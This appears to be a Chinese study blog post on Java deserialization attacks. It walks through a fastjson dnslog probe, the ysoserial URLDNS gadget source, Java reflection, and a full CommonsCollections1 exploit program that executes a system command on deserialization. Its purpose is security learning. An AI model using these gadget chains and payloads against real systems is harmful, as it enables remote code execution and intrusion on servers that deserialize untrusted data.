# java 反序列化

漏洞挖掘:
1. 找到发送 JSON 序列化数据的接口
2 判断是否使用 fastjson

  1. 非法格式报错
    {“x”:"
    2) 使用 dnslog 探测
    {“x”:{"@type":“java.net.Inet4Address”,“val”:“xxx.dnslog.cn”)}
    Burp 插件
    https://github.com/zilong3033/fastjsonScan

反序列化工具:GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

ysoserial

# URLDNS:

用该工具的 payload:

package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
 * A blog post with more details about this gadget chain is at the url below:
 *   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
 *
 *   This was inspired by  Philippe Arteau @h3xstream, who wrote a blog
 *   posting describing how he modified the Java Commons Collections gadget
 *   in ysoserial to open a URL. This takes the same idea, but eliminates
 *   the dependency on Commons Collections and does a DNS lookup with just
 *   standard JDK classes.
 *
 *   The Java URL class has an interesting property on its equals and
 *   hashCode methods. The URL class will, as a side effect, do a DNS lookup
 *   during a comparison (either equals or hashCode).
 *
 *   As part of deserialization, HashMap calls hashCode on each key that it
 *   deserializes, so using a Java URL object as a serialized key allows
 *   it to trigger a DNS lookup.
 *
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 *
 *
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
        public Object getObject(final String url) throws Exception {
                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();
                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
                return ht;
        }
        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }
        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {
                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }
                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

就是

public class URLDNS implements ObjectPayload<Object> {
        public Object getObject(final String url) throws Exception {
                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();
                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
                return ht;
        }
        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }
        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {
                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }
                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

从 payload 分析

HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

这里的代码是用来新建哈希图类和 url 类调用 HashMap 的 put 方法,

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

这个就是 put 方法

现在开始就是直接从 HashMap 的 readObject 方法开始

private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField fields = s.readFields();
        // Read loadFactor (ignore threshold)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);
        lf = Math.min(Math.max(0.25f, lf), 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);
        reinitialize();
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

Java 序列化就是将 java 对象转换成字节序列(二进制,写文件)的过程;

java 反序列化是指将字节序列(通过读文件的方式)恢复为 Java 对象的过程;

# 常见协议:

java 序列化对应的传输协议:

  • XML&SOAP

  • XML 是一种常用的序列化和反序列化协议,具有跨机器,跨语言等优点,SOAP(Simple Object Access protocol) 是一种被广泛应用的,基于 XML 为序列化和反序列化协议的结构化消息传递协议

  • JSON(Javascript Object Notation)

  • Protobuf

    # serializable (序列化接口) 接口:

    public interface Serializable{
    }
    

    点击并拖拽以移动

    对象必须添加 Serializable 这个接口,才能序列化为字节。这个用来表示这个类可以被 ObjectOutputStream 序列化,以及被 ObjectlnputStream 反序列化

    通过 ObjectOutputStream 将需要序列化数据写入到流中,因为 Java IO 是一种装饰者模式,因此可以通过 ObjectOutStream 包装 FileOutStream 将数据写入到文件中或者包装 ByteArrayOutStream 将数据写入到内存中。同理,可以通过 ObjectInputStream 将数据从磁盘 FileInputStream 或者内存 ByteArrayInputStream 读取出来然后转化为指定的对象即可。

序列化是将一个对象序列化为二进制文件,保存起来,用的方法是 writeObject (序列化对象)

反序列化是将一个二进制文件转换为一个对象,需要读取文件,用的方法就是 readObject (反序列化成对象)

具体的例子就不举了

# 文件操作流:

# ObjectOutputStream:

代表对象输出流:

它的 writeObject (Object obj) 方法可对参数指定的 obj 对象进行序列化,把得到的字节序列写到一个目标输出流中。

# ObjectInputStream:

代表对象输入流:

它的 readObject () 方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

在反序列化时,readObject 方法会自动执行,而这个方法又可以进行重写,如果我在重写的时候写了些危险的代码,而恰好我可以控制这个代码的参数,就会造成任意代码执行

private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
        ois.defaultReadObject();     //执行默认的readObject的方法
        Runtime.getRuntime().exec("calc");  //这是我重写的多出来的部分
    }

点击并拖拽以移动

# 正射与反射:

  • 正射是在编写代码是,需要使用一个类时,先了解这个类是做什么的,然后实例化这个类,再进行操作

  • 反射就是我们不知道我们要初始化的类对象是什么,就不能用 new 关键字创建对象,那么我们就可以用反射方法

# 反射的使用:

class 对象的由来:在每个类编译之后都会有一个 class 对象(同名.class 文件), 所以我们在未实例化的时候反射获取的就是这个的 class 原型

获取 Class 类对象:

1.class,forName () 获取 class 类:

Class a=Class.forname("MyReflect.Student");  //引号里面填类所在的包名+类名

点击并拖拽以移动

2. 使用类的.class 方法

Class a =MyReflection.class

点击并拖拽以移动

实例化对象:

法一:通过 Class 中的 newInstence () 方法:

Class p=Class.forName("Person");
Object p1=p.newInstance();
//这里也有另一种写法,区别是要进行强制类型转化
Class p=Class.forName("Person");
Person p1=(Person)p.newInstance();

法二:通过 Constructor 的 newInstance () 方法:

Constructor personconstructor = c.getConstructor(String.class,int.class);//获取person里面的构造函数
Person p = (Person) personconstructor.newInstance("abc",22);
System.out.println(p);

这里我们要注意一个点,先给出 Person 类中的代码:

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Person implements Serializable {
    public String name;
    private int age;

    public Person(){

    }
    public Person(String name,int age){
        this.name= name;
        this.age=age;
    }
    public String toString(){
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
    private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }
    public void action(String act){
        System.out.println(act);
    }
}

我们在创建 Class 类对象这里只关注两个地方:

public Person(){}//无参构造方法
public Person(String name,int age){//含参构造方法
    this.name= name;
    this.age=age;
}

# 获取类的构造器:

我们关注上面那段代码中的注释:

newInstence () 对应的方法其实就是无参数构造器对应的方法,通过无参的构造器来进行实例化,但是如果类中一旦不存在无参构造器就会出现这样的情况:

img

点击并拖拽以移动编辑

此时第一种方式就行不通了,所以这时候我们就需要第二种方法了,我们首先通过 Class 取到 Person 类的原型以后,通过 Constructor 中的 getConstructor 方法取到 Person 类中含参构造器,然后再设置对应参数类型的原型,所以这里要加上.class,然后通过 newInstance 对类进行实例化时就可以对属性赋值。

Class c=Class.forName("Person");
Constructor personconstructor = c.getConstructor(String.class,int.class);
Person p = (Person) personconstructor.newInstance("abc",22);

# 获取类的属性:

法一:通过类的原型获取 public 属性

getField(String name)
Field f=c.getField("name");//括号中对应的参数为属性值

法二:获取类的一个全部类型的属性

getDeclaredField(String name)
 Field f=c.getDeclaredField("name");

当然这里我们也可以通过 setAccessiable 获取私有属性:

Constructor personconstructor = c.getConstructor(String.class,int.class);//获取person里面的构造函数
Person p = (Person) personconstructor.newInstance("abc",22);
System.out.println(p);
Field namefield = c.getDeclaredField("age");//根据变量名获取
namefield.setAccessible(true);//能够访问私有属性
namefield.set(p,24);//改变类的对象的值,对应的就是p
System.out.println(p);

img

点击并拖拽以移动编辑

法三:获取类的全部 public 类型的属性

getFields()
 Field[] f=c.getFields();

法四:获取类的全部类型的属性

getDeclaredFields()
Field[] personfields = c.getDeclaredFields();
for(Field f:personfields){
    System.out.println(f);
}

# 获取类的方法:

法一:获取类的 public 类型方法

getMethod(String name,class[] parameterTypes)
Method actionmethod = c.getMethod("action",String.class);//要注意这里有两个参数,后面要传入的是方法形参的类型的原型,无参函数就不用填

法二:获取类的一个特定任一类型的方法

getDeclaredMethod(String name,class[] parameterTypes)
Method actionmethod = c.getDeclaredMethod("action",String.class);
actionmethod.setAccessible(true);
actionmethod.invoke(p,"asdfasdf");

法三:获取类的全部 public 的方法

getMethods()
Class p=Class.forName("test.phone");
Method[] m=p.getMethods();

法四:获取类的全部类型的方法

getDeclaredMethods()
Method[] m=p.getDeclaredMethods();

# 直接看 URLDNS 审计

从 payload 分析

​```java
HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
​```

点击并拖拽以移动

这里的代码是用来新建哈希图类和 url 类调用 HashMap 的 put 方法,

​```java
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }
​```

点击并拖拽以移动

这个就是 put 方法

现在开始就是直接从 HashMap 的 readObject 方法开始

```java
private void readObject(ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField fields = s.readFields();
        // Read loadFactor (ignore threshold)
        float lf = fields.get("loadFactor", 0.75f);
        if (lf <= 0 || Float.isNaN(lf))
            throw new InvalidObjectException("Illegal load factor: " + lf);
        lf = Math.min(Math.max(0.25f, lf), 4.0f);
        HashMap.UnsafeHolder.putLoadFactor(this, lf);
        reinitialize();
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0) {
            throw new InvalidObjectException("Illegal mappings count: " + mappings);
        } else if (mappings == 0) {
            // use defaults
        } else if (mappings > 0) {
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }
```

点击并拖拽以移动

有一个 hash 方法,ctrl + 单击进入看看

hash 方法调用了 key 的 hashcode()方法:

static final int hash(Object key) {
 int h;
 return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
 }

点击并拖拽以移动

URLDNS 中使⽤的这个 key 是⼀个 java.net.URL 对象,我们看看其 hashCode ⽅法:

protected int hashCode(URL u) {
 int h = 0;
 // Generate the protocol part.
 String protocol = u.getProtocol();
 if (protocol != null)
 h += protocol.hashCode();
 // Generate the host part.
 InetAddress addr = getHostAddress(u);
 ...
 }

点击并拖拽以移动

调用 getHostAddress 方法,继续跟进:

protected synchronized InetAddress getHostAddress(URL u) {
 if (u.hostAddress != null)
 return u.hostAddress;
 String host = u.getHost();
 if (host == null || host.equals("")) {
 return null;
 } else {
 try {
 u.hostAddress = InetAddress.getByName(host);
 } catch (UnknownHostException ex) {
 return null;
 } catch (SecurityException se) {
 return null;
 }
 }
 return u.hostAddress;
 }

点击并拖拽以移动

这⾥ InetAddress.getByName (host) 的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次

DNS 查询。到这⾥就不必要再跟了。

只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap

中;然后,设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算

其 hashCode ,才能触发到后⾯的 DNS 请求,否则不会调⽤ URL->hashCode () 。

一条一条分析,从反序列化开始,一直往前面找可以自动执行前面代码的代码就可以了

# CommonCollections 利⽤链:

涉及的几个接口和类:

# 1.TransformedMap: TransformedMap 用于对 java 标准数据结构 Map 做一个修饰,被修饰过的 Map 在添加新的元素时,可以执行一个回调,我们通过下⾯这⾏代码对 innerMap 进⾏修饰,传出的 outerMap 即是修饰后的 Map:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);

点击并拖拽以移动

其中,keyTransformer 是处理新元素的 Key 的回调,valueTransformer 是处理新元素的 value 的回调。

我们这⾥所说的” 回调 “,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了 Transformer 接⼝的类。

理解:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

点击并拖拽以移动

"新元素" 就是你通过 outerMap.put() 插入的每一个键值对,而 回调 是指在插入新元素时, keyTransformervalueTransformer 自动被调用,对键和值进行转换。

# 2.Transformer:

Transformer 是一个接口,他只有一个待实现的方法

public interface Transformer {
 public Object transform(Object input);
}

点击并拖拽以移动

TransformedMap 在转换 Map 的新元素时,就会调⽤ transform ⽅法,这个过程就类似在调⽤⼀个” 回调

函数 “,这个回调的参数是原始对象。

# ConstantTransformer:

ConstantTransformer 是实现了 Transformer 接口的一个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在 transform ⽅法将这个对象再返回

public ConstantTransformer(Object constantToReturn) {
 super();
 iConstant = constantToReturn;
}
public Object transform(Object input) {
 return iConstant;
}

点击并拖拽以移动

所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作

# 3.InvokerTranformer:

# InvokerTransformer 是实现了 Transformer 接口的一个类,这个类可以用来执行任意方法,这也是反序列化能执行任意代码的关键

在实例化这个 InvokerTransformer 时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数

是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[]
args) {
 super();
 iMethodName = methodName;
 iParamTypes = paramTypes;
 iArgs = args;
}

点击并拖拽以移动

后⾯的回调 transform ⽅法,就是执⾏了 input 对象的 iMethodName ⽅法:

public Object transform(Object input) {
 if (input == null) {
 return null;
 }
 try {
 Class cls = input.getClass();
 Method method = cls.getMethod(iMethodName, iParamTypes);
 return method.invoke(input, iArgs);
 } catch (NoSuchMethodException ex) {
 throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' does not exist");
 } catch (IllegalAccessException ex) {
 throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
 } catch (InvocationTargetException ex) {
 throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
 }
}

点击并拖拽以移动

# ChainedTransformer

ChainedTransformer 也是实现了 Transformer 接口的一个类,他的作用是将内部的多个 Transformer 串在一起通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入,用一个图示意

img点击并拖拽以移动编辑

# 代码:

public ChainedTransformer(Transformer[] transformers) {
 super();
 iTransformers = transformers;
}
public Object transform(Object object) {
 for (int i = 0; i < iTransformers.length; i++) {
 object = iTransformers[i].transform(object);
 }
 return object;
}

点击并拖拽以移动

# 开始理解 payload:

Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.getRuntime()),
 new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

点击并拖拽以移动

# 这里就是先创建一个 ChainedTransformer,其中包含两个 Transformer:第一个是 ConstantTransformer,直接返回当前环境的 Runtime 对象;第二个是 InvokerTransformer,执行 Runtime 对象的 exec 方法,参数是 /System/Applications/Calculator.app/Contents/MacOS/Calculator

# 当然,这个 Chainedtransformer 只是一系列回调,我们需要用其来包装 innerMap,使用的前面说到的 TransformedMap.decorate:

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

点击并拖拽以移动

# 最后,怎么才能触发回调呢,就是向 Map 中放入一个新的元素:

#

outerMap.put("test", "xxxx");

点击并拖拽以移动

# 链子已经找好了,现在就是 poc 怎么生成的问题了

# 如何⽣成⼀个可利⽤的序列化对象?

现在我们有了 poc 的简易脚本:

package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}

点击并拖拽以移动

其实这个漏洞触发的核心就是 outerMap.put 插入一个数据来触发漏洞,但在实际的反序列化时,我们需要找到一个类,他在反序列化的 readObject 逻辑中有类似的写入操作

这个类就是 sun.reflect.annotation.AnnotationInvocationHandler ,我们查看它的 readObject

方法(这是 8u71 以前的代码,8u71 以后做了一些修改,这个后面再说):

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in
annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue :
memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

点击并拖拽以移动

核心的逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet () 和

memberValue.setValue(…) 。

memberValues 就是反序列化后得到的 Map,也是经过了 TransformedMap 修饰的对象,这里遍历了它

的所有元素,并依次设置值。在调用 setValue 设置值的时候就会触发 TransformedMap 里注册的

Transform,进而执行我们为其精心设计的任意代码。

所以,我们构造 POC 的时候,就需要创建一个 AnnotationInvocationHandler 对象,并将前面构造的

HashMap 设置进来:

Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

点击并拖拽以移动

这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是在 JDK 内部的类,不能直接使

用 new 来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化

了。

AnnotationInvocationHandler 类的构造函数有两个参数,第一个参数是一个 Annotation 类;第二个是参数就是前面构造的 Map。

AnnotationInvocationHandler 类的构造函数有两个参数,第一个参数是一个 Annotation 类;第二个是

参数就是前面构造的 Map。

# AnnotationInvocation 类的构造函数有两个参数,第一个是 Annotation 类,第二个参数就是前面构造的 Map

什么是 Annotation 类,为什么需要用到这个类呢

# 为什么需要用到反射?

构造 AnnotationInvocationHandler 对象,就是反序列化利用链的七点了,我们通过如下代码将这个对象生成序列化流

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

点击并拖拽以移动

将其拼接到简易版本的 poc 里面去

img点击并拖拽以移动编辑

报了错,原因是 Java 中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现了 java.io.Serializable 接口。而我们最早传给 ConstantTransformer 的是 Runtime.getRuntime (),Runtime 类是没有实现 java.io.Serializable 接口的,所以是不允许被序列化的。

那么怎么避免这个错误呢,学了反射我们可以知道,我们可以直接通过反射来获取上下文中的 Runtime 对象,而不需要直接使用这个类

Method f = Runtime.class.getMethod("getRuntime");  // 通过 Java 反射 (getMethod) 获取 Runtime 类的 getRuntime () 方法。Runtime 是 Java 负责执行系统命令的类。
        Runtime r = (Runtime) f.invoke(null);  // 调用 getRuntime () 方法,获得 Runtime 实例,invoke (null) 表示该方法是 静态方法。
        r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); //exec () 方法用于执行系统命令

点击并拖拽以移动

转换成 Transformer 的写法就是:

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};

点击并拖拽以移动

其实和 demo 最大的区别就是将 Runtime.getRuntime () 换成了 Runtime.class ,前者是一个 java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class 类有实现 Serializable 接口,所 以可以被序列化。

img点击并拖拽以移动编辑能出来序列化数据,但是没有出现计算器点开

AnnotationInvocationHandler这个类:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
}

点击并拖拽以移动

发现有个比较不等于 null 时赋值 outmap,等于 outmap.put 函数,所以怎么绕过呢

\1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是

Annotation 的子类,且其中必须含有至少一个方法,假设方法名是 X

\2. 被 TransformedMap.decorate 修饰的 Map 中必须有一个键名为 X 的元素

所以,这也解释了为什么我前面用到 Retention.class ,因为 Retention 有一个方法,名为 value;所

以,为了再满足第二个条件,我需要给 Map 中放入一个 Key 是 value 的元素:

innerMap.put("value", "xxxx");

点击并拖拽以移动

img点击并拖拽以移动编辑 复现成功

复现失败的原因就是在 java8u71 版本之后不再直接 使用反序列化得到的 Map 对象,而是新建了一个 LinkedHashMap 对象,并将原来的键值添加进去。 所以,后续对 Map 的操作都是基于这个新的 LinkedHashMap 对象,而原来我们精心构造的 Map 不再执行 set 或 put 操作,也就不会触发 RCE 了。

完整代码如下:

package myapp1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class okok {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new
                        Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new
                        Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] {
                                "calc" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        Class clazz= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

点击并拖拽以移动

# 动态加载字节码的哪些方法

# 字节码是什么

java 字节码其实仅仅值得是 java 虚拟机执行使用的一类指令,通常被存储在.class 文件中

在不同平台不同 cpu 的计算机指令有差异,但因为 java 是一门跨平台的编译型语言,所以这些差异对于上层开发者来说是透明的,上层开发者只需要将自己的代码编译一次,即可运行在不同平台的 JVM 虚拟机中。

甚至,开发者可以用类似 Scala,Kotlinc 这样的语言编写代码,只要你的编译器能够将代码编译成.class 文件,都可以在 JVM 虚拟机中运行:

image-20250410190839771

但是,这里所说的字节码,可以理解的更广义一些–所有能够恢复成一个类并在 JVM 虚拟机里加载的字节序列,都在我们的探讨范围内

# 利用 URLClassLoader 加载远程 class 文件

java 的 ClassLoader 来用来加载字节码文件最基础的方法。:

ClassLoader是什么呢?他就是一个“加载器”,告诉java虚拟机如何加载这个类。
java默认的ClassLoader就是根据类名来加载类,这个类名是类完整路径,如java.lang.Runtime

ClassLoader 的概念的确不是一语概之的,这里说的是 ClassLoader:URLClassLoader。

URLClassLoder 实际上是我们平时默认使用的 AppClassLoader 的符类,所以,

我们解释 URLClassLoader 的工作过程实际上就是在解释默认的 Java 类加载器的工作流程。

